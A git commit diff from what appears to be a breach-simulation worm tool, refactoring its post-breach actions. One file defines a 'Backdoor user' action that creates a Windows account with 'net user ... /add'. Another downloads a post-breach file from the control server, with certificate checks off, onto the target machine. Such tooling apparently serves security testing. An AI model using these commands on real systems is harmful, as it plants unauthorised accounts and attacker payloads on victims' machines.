Minor changes after CR

This commit is contained in:
VakarisZ 2019-05-14 10:41:38 +03:00
parent bff95fa470
commit 4a8bd01a62
2 changed files with 7 additions and 4 deletions

View File

@ -13,13 +13,13 @@ WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add,
WormConfiguration.remote_user_pass,
'/add', '/ACTIVE:NO']
PBA_NAME = "Backdoor user"
class BackdoorUser(object):
PBA_NAME = "Backdoor user"
def __init__(self):
pass
@staticmethod
def get_pba():
return PBA.default_get_pba(PBA_NAME, BackdoorUser, LINUX_COMMANDS, WINDOWS_COMMANDS)
return PBA.default_get_pba(BackdoorUser.PBA_NAME, BackdoorUser, LINUX_COMMANDS, WINDOWS_COMMANDS)

View File

@ -45,12 +45,15 @@ class UsersPBA(PBA):
(WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies)
if not pba_file_contents.content:
LOG.error("Island didn't respond with post breach file.")
return False
try:
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
written_PBA_file.write(pba_file_contents.content)
return True
except IOError as e:
LOG.error("Can not download post breach file to target machine, because %s" % e)
LOG.error("Can not upload post breach file to target machine: %s" % e)
return False
@staticmethod